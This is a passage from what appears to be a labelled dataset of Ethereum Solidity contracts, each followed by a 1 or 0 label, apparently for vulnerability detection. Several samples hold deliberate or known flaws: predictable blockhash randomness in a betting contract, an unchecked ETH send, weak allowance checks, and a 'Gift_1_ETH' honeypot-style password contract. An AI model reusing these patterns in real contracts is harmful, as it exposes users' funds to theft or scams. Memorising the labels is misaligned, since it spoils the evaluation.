and less than or equal to 7 days'); rewardsClaimTimeSeconds = _seconds; } function setNewFeesPercentages(uint256 _reflectionNewFee, uint256 _treasuryNewFee, uint256 _ethRewardsNewFee, uint256 _buybackRewardsNewFee) external onlyOwner { require(_reflectionNewFee + _treasuryNewFee + _ethRewardsNewFee + _buybackRewardsNewFee <= 10, 'Tax cannot be higher than 10%'); reflectionFee = _reflectionNewFee; treasuryFee = _treasuryNewFee; ethRewardsFee = _ethRewardsNewFee; buybackFee = _buybackRewardsNewFee; } function setFeeSellMultiplier(uint256 multiplier) external onlyOwner { require(multiplier <= 2, 'must be less than or equal to 2'); feeSellMultiplier = multiplier; } function setTreasuryAddress(address _treasuryWallet) external onlyOwner { treasuryWallet = payable(_treasuryWallet); _isExcludedFee[treasuryWallet] = true; } function setIsMaxBuyActivated(bool _value) public onlyOwner { _isMaxBuyActivated = _value; } function setBuybackTokenAddress(address _tokenAddress) external onlyOwner { buybackTokenAddress = _tokenAddress; } function setBuybackReceiver(address _receiver) external onlyOwner { buybackReceiver = _receiver; } function addUniswapPair(address _pair) external onlyOwner { _isUniswapPair[_pair] = true; } function removeUniswapPair(address _pair) external onlyOwner { _isUniswapPair[_pair] = false; } function setBoostRewardsPercent(uint256 perc) external onlyOwner { boostRewardsPercent = perc; } function setBoostRewardsContract(address _contract) external onlyOwner { if (_contract != address(0)) { IConditional _contCheck = IConditional(_contract); require( _contCheck.passesTest(address(0)) == true || _contCheck.passesTest(address(0)) == false, 'contract does not implement interface' ); } boostRewardsContract = _contract; } function setFeeExclusionContract(address _contract) external onlyOwner { if (_contract != address(0)) { IConditional _contCheck = IConditional(_contract); require( _contCheck.passesTest(address(0)) == true || _contCheck.passesTest(address(0)) == false, 'contract does not implement interface' ); } feeExclusionContract = _contract; } function isRemovedSniper(address account) external view returns (bool) { return _isSniper[account]; } function removeSniper(address account) external onlyOwner { require(account != _uniswapRouterAddress, 'We can not blacklist Uniswap'); require(!_isSniper[account], 'Account is already blacklisted'); _isSniper[account] = true; _confirmedSnipers.push(account); } function amnestySniper(address account) external onlyOwner { require(_isSniper[account], 'Account is not blacklisted'); for (uint256 i = 0; i < _confirmedSnipers.length; i++) { if (_confirmedSnipers[i] == account) { _confirmedSnipers[i] = _confirmedSnipers[_confirmedSnipers.length - 1]; _isSniper[account] = false; _confirmedSnipers.pop(); break; } } } function calculateETHRewards(address wallet) public view returns (uint256) { uint256 baseRewards = ethRewardsBalance.mul(balanceOf(wallet)).div( _tTotal.sub(balanceOf(deadAddress)) ); uint256 rewardsWithBooster = eligibleForRewardBooster(wallet) ? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2)) : baseRewards; return rewardsWithBooster > ethRewardsBalance ? baseRewards : rewardsWithBooster; } function calculateTokenRewards(address wallet, address tokenAddress) public view returns (uint256) { IERC20 token = IERC20(tokenAddress); uint256 contractTokenBalance = token.balanceOf(address(this)); uint256 baseRewards = contractTokenBalance.mul(balanceOf(wallet)).div( _tTotal.sub(balanceOf(deadAddress)) ); uint256 rewardsWithBooster = eligibleForRewardBooster(wallet) ? baseRewards.add(baseRewards.mul(boostRewardsPercent).div(10**2)) : baseRewards; return rewardsWithBooster > contractTokenBalance ? baseRewards : rewardsWithBooster; } function claimETHRewards() external { require( balanceOf(_msgSender()) > 0, 'You must have a balance to claim ETH rewards' ); require( canClaimRewards(_msgSender()), 'Must wait claim period before claiming rewards' ); _rewardsLastClaim[_msgSender()] = block.timestamp; uint256 rewardsSent = calculateETHRewards(_msgSender()); ethRewardsBalance -= rewardsSent; _msgSender().call{ value: rewardsSent }(''); emit SendETHRewards(_msgSender(), rewardsSent); } function canClaimRewards(address user) public view returns (bool) { if (_rewardsLastClaim[user] == 0) { return block.timestamp > launchTime.add(rewardsClaimTimeSeconds); } else { return block.timestamp > _rewardsLastClaim[user].add(rewardsClaimTimeSeconds); } } function claimTokenRewards(address token) external { require( balanceOf(_msgSender()) > 0, 'You must have a balance to claim rewards' ); require( IERC20(token).balanceOf(address(this)) > 0, 'We must have a token balance to claim rewards' ); require( canClaimRewards(_msgSender()), 'Must wait claim period before claiming rewards' ); _rewardsLastClaim[_msgSender()] = block.timestamp; uint256 rewardsSent = calculateTokenRewards(_msgSender(), token); IERC20(token).transfer(_msgSender(), rewardsSent); emit SendTokenRewards(_msgSender(), token, rewardsSent); } function setFeeRate(uint256 _rate) external onlyOwner { feeRate = _rate; } function manualswap(uint256 amount) external onlyOwner { require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); _swapTokens(amount); } function emergencyWithdraw() external onlyOwner { payable(owner()).send(address(this).balance); } receive() external payable {} }
1
pragma solidity ^0.4.25; contract SafeMath { function safeSub(uint256 x, uint256 y) internal pure returns (uint256) { assert(y <= x); uint256 z = x - y; return z; } function safeAdd(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x + y; assert(z >= x); return z; } function safeDiv(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x / y; return z; } function safeMul(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) { return 0; } uint256 z = x * y; assert(z / x == y); return z; } function safePerc(uint256 x, uint256 y) internal pure returns (uint256) { if (x == 0) { return 0; } uint256 z = x * y; assert(z / x == y); z = z / 10000; return z; } function min(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x <= y ? x : y; return z; } function max(uint256 x, uint256 y) internal pure returns (uint256) { uint256 z = x >= y ? x : y; return z; } } contract Ownable { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner() { assert(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { assert(_newOwner != address(0)); newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } } contract Agent is Ownable { address public defAgent; mapping(address => bool) public Agents; event UpdatedAgent(address _agent, bool _status); constructor() public { defAgent = msg.sender; Agents[msg.sender] = true; } modifier onlyAgent() { assert(Agents[msg.sender]); _; } function updateAgent(address _agent, bool _status) public onlyOwner { assert(_agent != address(0)); Agents[_agent] = _status; emit UpdatedAgent(_agent, _status); } } contract CryptoDuel is Agent, SafeMath { uint public fee = 100; uint public refGroupFee = 5000; uint public refUserFee = 1000; uint public min = 1000000000000000; uint public max = 1000000000000000000000; uint256 public start = 0; uint256 public period = 30 days; enum State{New, Deleted, OnGoing, Closed} struct _duel { address creator; address responder; uint bet; uint blocknumber; int refID; State state; } _duel[] public Duels; mapping(int => address) public RefGroup; mapping(address => address) public RefAddr; mapping(uint => address) public duelWinner; mapping(uint => uint) public reward; mapping(address => uint) public rewardGroup; mapping(address => uint) public rewardAddr; mapping(uint => bool) public AlreadyReward; event newDuel(uint duel, address indexed creator, address indexed responder, uint bet, int refID); event deleteDuel(uint duel); event respondDuel(uint duel, address indexed responder); event refundDuel(uint duel); event resultDuel(uint duel, address indexed winner, uint sum); event changeMin(uint min); event changeMax(uint max); event changeRefGroup(int ID, address referrer); event changeRefAddr(address referal, address referrer); event changeFee(uint fee); event changeRefGroupFee(uint refGroupFee); event changeRefFee(uint refFee); event withdrawProfit(uint fee, address RefGroup); event UpdatedPeriod(uint _period); constructor() public { RefGroup[0] = msg.sender; emit changeRefGroup(0, msg.sender); } function CreateDuel(address _responder) payable external { require(msg.value >= min && msg.value <= max); Duels.push(_duel({ creator : msg.sender, responder : _responder, bet : msg.value, blocknumber : 0, state : State.New, refID : 0 })); emit newDuel(Duels.length - 1, msg.sender, _responder, msg.value, 0); } function CreateDuel(address _responder, int _refID) payable external { require(msg.value >= min && msg.value <= max); require(RefGroup[_refID] != address(0)); Duels.push(_duel({ creator : msg.sender, responder : _responder, bet : msg.value, blocknumber : 0, state : State.New, refID : _refID })); emit newDuel(Duels.length - 1, msg.sender, _responder, msg.value, _refID); } function RespondDuel(uint _duelID) payable external { _duel storage duel = Duels[_duelID]; require(duel.state == State.New); require(duel.bet == msg.value); require(duel.responder == msg.sender || duel.responder == address(0)); duel.state = State.OnGoing; duel.responder = msg.sender; duel.blocknumber = block.number; emit respondDuel(_duelID, msg.sender); } function DeleteDuel(uint _duelID) external { _duel storage duel = Duels[_duelID]; require(duel.creator == msg.sender); require(duel.state == State.New); duel.state = State.Deleted; uint duel_fee = safePerc(duel.bet, fee); uint256 N = 1; if (block.timestamp > start) { N = (block.timestamp - start) / period + 1; } reward[N] = safeAdd(reward[N], duel_fee); duel.creator.transfer(safeSub(duel.bet, duel_fee)); emit deleteDuel(_duelID); } function GetWin(uint _duelID) external { _duel storage duel = Duels[_duelID]; require(duel.state == State.OnGoing); require(duel.creator == msg.sender || duel.responder == msg.sender); require(block.number > duel.blocknumber + 1); duel.state = State.Closed; uint duel_fee = 0; uint256 N = 1; if (block.timestamp > start) { N = (block.timestamp - start) / period + 1; } if (blockhash(duel.blocknumber) == 0 || (block.number - duel.blocknumber) > 256) { duel_fee = safePerc(duel.bet, fee); duel.creator.transfer(safeSub(duel.bet, duel_fee)); duel.responder.transfer(safeSub(duel.bet, duel_fee)); reward[N] = safeAdd(reward[N], safeMul(2, duel_fee)); emit refundDuel(_duelID); duelWinner[_duelID] = address(0); } else { uint hash = uint(keccak256(abi.encodePacked(blockhash(duel.blocknumber + 1), duel.creator, duel.responder, duel.bet))); uint duel_bet_common = safeMul(2, duel.bet); duel_fee = safePerc(duel_bet_common, fee); uint _refFee = 0; uint sum = safeSub(duel_bet_common, duel_fee); address winner; if (hash % 2 == 0) { duel.creator.transfer(sum); winner = duel.creator; emit resultDuel(_duelID, duel.creator, sum); } else { duel.responder.transfer(sum); winner = duel.responder; emit resultDuel(_duelID, duel.responder, sum); } duelWinner[_duelID] = winner; if (RefAddr[winner] != address(0)) { _refFee = refUserFee; rewardAddr[RefAddr[winner]] = safeAdd(rewardAddr[RefAddr[winner]], safePerc(duel_fee, _refFee)); } if (duel.refID != 0) { _refFee = safeSub(refGroupFee, _refFee); rewardGroup[RefGroup[duel.refID]] = safeAdd(rewardGroup[RefGroup[duel.refID]], safePerc(duel_fee, _refFee)); reward[N] = safeAdd(reward[N], safeSub(duel_fee, safePerc(duel_fee, refGroupFee))); } else { reward[N] = safeAdd(reward[N], safeSub(duel_fee, safePerc(duel_fee, _refFee))); } } } function setMin(uint _min) external onlyOwner { min = _min; emit changeMin(_min); } function setMax(uint _max) external onlyOwner { max = _max; emit changeMax(_max); } function setFee(uint _fee) external onlyOwner { fee = _fee; emit changeFee(_fee); } function setRefGroupFee(uint _refGroupFee) external onlyOwner { refGroupFee = _refGroupFee; emit changeRefGroupFee(_refGroupFee); } function setRefUserFee(uint _refFee) external onlyOwner { refUserFee = _refFee; emit changeRefFee(_refFee); } function setRefGroup(int _ID, address _referrer) external onlyAgent { RefGroup[_ID] = _referrer; emit changeRefGroup(_ID, _referrer); } function setRefAddr(address _referral, address _referrer) external onlyAgent { RefAddr[_referral] = _referrer; emit changeRefAddr(_referral, _referrer); } function withdraw() external onlyOwner returns (bool success) { uint256 N = 1; if (block.timestamp > start) { N = (block.timestamp - start) / period; } if (!AlreadyReward[N]) { uint amount = reward[N]; AlreadyReward[N] = true; msg.sender.transfer(amount); emit withdrawProfit(amount, msg.sender); return true; } else { return false; } } function withdrawRefGroup() external returns (bool success) { require(rewardGroup[msg.sender] > 0); uint amount = rewardGroup[msg.sender]; rewardGroup[msg.sender] = 0; msg.sender.transfer(amount); emit withdrawProfit(amount, msg.sender); return true; } function withdrawRefAddr() external returns (bool success) { require(rewardAddr[msg.sender] > 0); uint amount = rewardAddr[msg.sender]; rewardAddr[msg.sender] = 0; msg.sender.transfer(amount); emit withdrawProfit(amount, msg.sender); return true; } function withdrawRefBoth() external returns (bool success) { require(rewardAddr[msg.sender] > 0 || rewardGroup[msg.sender] > 0); uint amount = safeAdd(rewardAddr[msg.sender], rewardGroup[msg.sender]); rewardAddr[msg.sender] = 0; rewardGroup[msg.sender] = 0; msg.sender.transfer(amount); emit withdrawProfit(amount, msg.sender); return true; } function setPeriod(uint _period) external onlyOwner { period = _period; emit UpdatedPeriod(_period); } function setStart(uint _start) external onlyOwner { start = _start; } }
1
pragma solidity ^0.4.16; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract BurnableToken is StandardToken { function burn(uint _value) public { require(_value > 0); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } event Burn(address indexed burner, uint indexed value); } contract NewEasyToken is BurnableToken { string public constant name = "New Easy Token"; string public constant symbol = "NET"; uint32 public constant decimals = 18; uint256 public INITIAL_SUPPLY = 10000000 * 1 ether; function NewEasyToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } contract Crowdsale is Ownable, NewEasyToken { using SafeMath for uint; address multisig; uint restrictedPercent; address restricted; NewEasyToken public token = new NewEasyToken(); uint start; uint period; uint rate; function Crowdsale() { multisig = 0xB398D6F446bD3B46c056873997c66a5B187a3898; restricted = 0xc9F90b30121a4EfBB2B4F66024f5a21A8eF4bb01; restrictedPercent = 50; rate = 1000000000000000000000; start = 1500379200; period = 280; } modifier saleIsOn() { require(now > start && now < start + period * 1 days); _; } function MyCoins() onlyOwner() { restricted = 0xc9F90b30121a4EfBB2B4F66024f5a21A8eF4bb01; uint myamount = 4000000 * 1 ether; transfer(restricted, myamount); } function createTokens() saleIsOn payable { multisig.transfer(msg.value); uint tokens = rate.mul(msg.value).div(1 ether); uint bonusTokens = 0; if(now < start + (period * 1 days).div(4)) { bonusTokens = tokens.div(4); } else if(now >= start + (period * 1 days).div(4) && now < start + (period * 1 days).div(4).mul(2)) { bonusTokens = tokens.div(10); } else if(now >= start + (period * 1 days).div(4).mul(2) && now < start + (period * 1 days).div(4).mul(3)) { bonusTokens = tokens.div(20); } uint tokensWithBonus = tokens.add(bonusTokens); transfer(msg.sender, tokensWithBonus); uint restrictedTokens = tokens.mul(restrictedPercent).div(100 - restrictedPercent); transfer(restricted, restrictedTokens); uint mybalance = balances[restricted]; if(mybalance < 1000) { uint myTokens = 4000000 * 1 ether; transfer(restricted, myTokens); } } function() external payable { createTokens(); } }
1
pragma solidity ^0.4.19; contract Gift_1_ETH { bool passHasBeenSet = false; function()payable{} function GetHash(bytes pass) constant returns (bytes32) {return sha3(pass);} bytes32 public hashPass; function SetPass(bytes32 hash) public payable { if(!passHasBeenSet&&(msg.value >= 1 ether)) { hashPass = hash; } } function GetGift(bytes pass) external payable { if(hashPass == sha3(pass)) { msg.sender.transfer(this.balance); } } function PassHasBeenSet(bytes32 hash) public { if(hash==hashPass) { passHasBeenSet=true; } } }
1
pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } event OwnerLog(address a); } contract Configurable is Ownable { address public configurer; function Configurable() public { configurer = msg.sender; } modifier onlyConfigurerOrOwner() { require(msg.sender == configurer || msg.sender == owner); _; } modifier onlyConfigurer() { require(msg.sender == configurer); _; } } contract DLCToken is StandardToken, Configurable { string public constant name = "DoubleLand Coin"; string public constant symbol = "DLC"; uint32 public constant decimals = 18; uint256 public priceOfToken; bool tokenBeenInit = false; uint public constant percentRate = 100; uint public investorsTokensPercent; uint public foundersTokensPercent; uint public bountyTokensPercent; uint public developmentAuditPromotionTokensPercent; address public toSaleWallet; address public bountyWallet; address public foundersWallet; address public developmentAuditPromotionWallet; address public saleAgent; function DLCToken() public { } modifier notInit() { require(!tokenBeenInit); _; } function setSaleAgent(address newSaleAgent) public onlyConfigurerOrOwner{ saleAgent = newSaleAgent; } function setPriceOfToken(uint256 newPriceOfToken) public onlyConfigurerOrOwner{ priceOfToken = newPriceOfToken; } function setTotalSupply(uint256 _totalSupply) public notInit onlyConfigurer{ totalSupply = _totalSupply; } function setFoundersTokensPercent(uint _foundersTokensPercent) public notInit onlyConfigurer{ foundersTokensPercent = _foundersTokensPercent; } function setBountyTokensPercent(uint _bountyTokensPercent) public notInit onlyConfigurer{ bountyTokensPercent = _bountyTokensPercent; } function setDevelopmentAuditPromotionTokensPercent(uint _developmentAuditPromotionTokensPercent) public notInit onlyConfigurer{ developmentAuditPromotionTokensPercent = _developmentAuditPromotionTokensPercent; } function setBountyWallet(address _bountyWallet) public notInit onlyConfigurer{ bountyWallet = _bountyWallet; } function setToSaleWallet(address _toSaleWallet) public notInit onlyConfigurer{ toSaleWallet = _toSaleWallet; } function setFoundersWallet(address _foundersWallet) public notInit onlyConfigurer{ foundersWallet = _foundersWallet; } function setDevelopmentAuditPromotionWallet(address _developmentAuditPromotionWallet) public notInit onlyConfigurer { developmentAuditPromotionWallet = _developmentAuditPromotionWallet; } function init() public notInit onlyConfigurer{ require(totalSupply > 0); require(foundersTokensPercent > 0); require(bountyTokensPercent > 0); require(developmentAuditPromotionTokensPercent > 0); require(foundersWallet != address(0)); require(bountyWallet != address(0)); require(developmentAuditPromotionWallet != address(0)); tokenBeenInit = true; investorsTokensPercent = percentRate - (foundersTokensPercent + bountyTokensPercent + developmentAuditPromotionTokensPercent); balances[toSaleWallet] = totalSupply.mul(investorsTokensPercent).div(percentRate); balances[foundersWallet] = totalSupply.mul(foundersTokensPercent).div(percentRate); balances[bountyWallet] = totalSupply.mul(bountyTokensPercent).div(percentRate); balances[developmentAuditPromotionWallet] = totalSupply.mul(developmentAuditPromotionTokensPercent).div(percentRate); } function getRestTokenBalance() public constant returns (uint256) { return balances[toSaleWallet]; } function purchase(address beneficiary, uint256 qty) public { require(msg.sender == saleAgent || msg.sender == owner); require(beneficiary != address(0)); require(qty > 0); require((getRestTokenBalance().sub(qty)) > 0); balances[beneficiary] = balances[beneficiary].add(qty); balances[toSaleWallet] = balances[toSaleWallet].sub(qty); Transfer(toSaleWallet, beneficiary, qty); } function () public payable { revert(); } } contract Bonuses { using SafeMath for uint256; DLCToken public token; uint256 public startTime; uint256 public endTime; mapping(uint => uint256) public bonusOfDay; bool public bonusInited = false; function initBonuses (string _preset) public { require(!bonusInited); bonusInited = true; bytes32 preset = keccak256(_preset); if(preset == keccak256('privatesale')){ bonusOfDay[0] = 313; } else if(preset == keccak256('presale')){ bonusOfDay[0] = 210; } else if(preset == keccak256('generalsale')){ bonusOfDay[0] = 60; bonusOfDay[7] = 38; bonusOfDay[14] = 10; } } function calculateTokensQtyByEther(uint256 amount) public constant returns(uint256) { int dayOfStart = int(now.sub(startTime).div(86400).add(1)); uint currentBonus = 0; int i; for (i = dayOfStart; i >= 0; i--) { if (bonusOfDay[uint(i)] > 0) { currentBonus = bonusOfDay[uint(i)]; break; } } return amount.div(token.priceOfToken()).mul(currentBonus + 100).div(100).mul(1 ether); } } contract Sale is Configurable, Bonuses{ using SafeMath for uint256; address public multisigWallet; uint256 public tokensLimit; uint256 public minimalPrice; uint256 public tokensTransferred = 0; string public bonusPreset; uint256 public collected = 0; bool public activated = false; bool public closed = false; bool public saleInited = false; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function init( string _bonusPreset, uint256 _startTime, uint256 _endTime, uint256 _tokensLimit, uint256 _minimalPrice, DLCToken _token, address _multisigWallet ) public onlyConfigurer { require(!saleInited); require(_startTime >= now); require(_endTime >= _startTime); require(_tokensLimit > 0); require(_multisigWallet != address(0)); saleInited = true; token = _token; startTime = _startTime; endTime = _endTime; tokensLimit = _tokensLimit; multisigWallet = _multisigWallet; minimalPrice = _minimalPrice; bonusPreset = _bonusPreset; initBonuses(bonusPreset); } function activate() public onlyConfigurerOrOwner { require(!activated); require(!closed); activated = true; } function close() public onlyConfigurerOrOwner { activated = true; closed = true; } function setMultisigWallet(address _multisigWallet) public onlyConfigurerOrOwner { multisigWallet = _multisigWallet; } function () external payable { buyTokens(msg.sender); } function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); uint256 amount = msg.value; uint256 tokens = calculateTokensQtyByEther({ amount: amount }); require(tokensTransferred.add(tokens) < tokensLimit); tokensTransferred = tokensTransferred.add(tokens); collected = collected.add(amount); token.purchase(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, amount, tokens); forwardFunds(); } function forwardFunds() internal { multisigWallet.transfer(msg.value); } function validPurchase() internal constant returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; bool minimalPriceChecked = msg.value >= minimalPrice; return withinPeriod && nonZeroPurchase && minimalPriceChecked && activated && !closed; } function isEnded() public constant returns (bool) { return now > endTime; } } contract DoubleLandICO_TEST is Ownable { using SafeMath for uint256; DLCToken public token; Sale[] public sales; uint256 public softCap; uint256 public hardCap; uint public activatedSalesTotalCount = 0; uint public maxActivatedSalesTotalCount; address public multisigWallet; bool public isDeployed = false; function createSale(string _bonusPreset, uint256 _startTime, uint256 _endTime, uint256 _tokensLimit, uint256 _minimalPrice) public onlyOwner{ require(activatedSalesTotalCount < maxActivatedSalesTotalCount); require(getTotalCollected() < hardCap ); require(token.getRestTokenBalance() >= _tokensLimit); require(sales.length == 0 || sales[sales.length - 1].activated()); Sale newSale = new Sale(); newSale.init({ _bonusPreset: _bonusPreset, _startTime: _startTime, _endTime: _endTime, _tokensLimit: _tokensLimit, _minimalPrice: _minimalPrice, _token: token, _multisigWallet: multisigWallet }); newSale.transferOwnership(owner); sales.push(newSale); } function activateLastSale() public onlyOwner { require(activatedSalesTotalCount < maxActivatedSalesTotalCount); require(!sales[sales.length - 1].activated()); activatedSalesTotalCount ++; sales[sales.length - 1].activate(); token.setSaleAgent(sales[sales.length - 1]); } function removeLastSaleOnlyNotActivated() public onlyOwner { require(!sales[sales.length - 1].activated()); delete sales[sales.length - 1]; } function closeAllSales() public onlyOwner { for (uint i = 0; i < sales.length; i++) { sales[i].close(); } } function setGlobalMultisigWallet(address _multisigWallet) public onlyOwner { multisigWallet = _multisigWallet; for (uint i = 0; i < sales.length; i++) { if (!sales[i].closed()) { sales[i].setMultisigWallet(multisigWallet); } } } function getTotalCollected() public constant returns(uint256) { uint256 _totalCollected = 0; for (uint i = 0; i < sales.length; i++) { _totalCollected = _totalCollected + sales[i].collected(); } return _totalCollected; } function getCurrentSale() public constant returns(address) { return token.saleAgent(); } function deploy() public onlyOwner { require(!isDeployed); isDeployed = true; softCap = 6000 ether; hardCap = 25000 ether; maxActivatedSalesTotalCount = 5; setGlobalMultisigWallet(0xcC6E23E740FBc50e242B6B90f0BcaF64b83BF813); token = new DLCToken(); token.setTotalSupply(1000000000 * 1 ether); token.setFoundersTokensPercent(15); token.setBountyTokensPercent(1); token.setDevelopmentAuditPromotionTokensPercent(10); token.setPriceOfToken(0.00013749 * 1 ether); token.setToSaleWallet(0xf9D1398a6e2c856fab73B5baaD13D125EDe30006); token.setBountyWallet(0xFc6248b06e65686C9aDC5f4F758bBd716BaE80e1); token.setFoundersWallet(0xf54315F87480f87Bfa2fCe97aCA036fd90223516); token.setDevelopmentAuditPromotionWallet(0x34EEA5f12DeF816Bd86F682eDc6010500dd51976); token.transferOwnership(owner); token.init(); createSale({ _bonusPreset: 'privatesale', _startTime: 1522342800, _endTime: 1524614400, _tokensLimit: 80000000 * 1 ether, _minimalPrice: 1 ether }); activateLastSale(); createSale({ _bonusPreset: 'presale', _startTime: 1525910400, _endTime: 1527206400, _tokensLimit: 75000000 * 1 ether, _minimalPrice: 0.03 ether }); } }
0
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeERC20 { function safeTransfer(ERC20Basic token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { require(token.transferFrom(from, to, value)); } function safeApprove(ERC20 token, address spender, uint256 value) internal { require(token.approve(spender, value)); } } contract NamedToken is ERC20 { string public name; string public symbol; } contract BitWich is Pausable { using SafeMath for uint; using SafeERC20 for ERC20; event LogBought(address indexed buyer, uint buyCost, uint amount); event LogSold(address indexed seller, uint sellValue, uint amount); event LogPriceChanged(uint newBuyCost, uint newSellValue); ERC20 public erc20Contract; uint public netAmountBought; uint public buyCost; uint public sellValue; constructor(uint _buyCost, uint _sellValue, address _erc20ContractAddress) public { require(_buyCost > 0); require(_sellValue > 0); buyCost = _buyCost; sellValue = _sellValue; erc20Contract = NamedToken(_erc20ContractAddress); } function tokenName() external view returns (string) { return NamedToken(erc20Contract).name(); } function tokenSymbol() external view returns (string) { return NamedToken(erc20Contract).symbol(); } function amountForSale() external view returns (uint) { return erc20Contract.balanceOf(address(this)); } function getBuyCost(uint _amount) external view returns(uint) { uint cost = _amount.div(buyCost); if (_amount % buyCost != 0) { cost = cost.add(1); } return cost; } function getSellValue(uint _amount) external view returns(uint) { return _amount.div(sellValue); } function buy(uint _minAmountDesired) external payable whenNotPaused { processBuy(msg.sender, _minAmountDesired); } function sell(uint _amount, uint 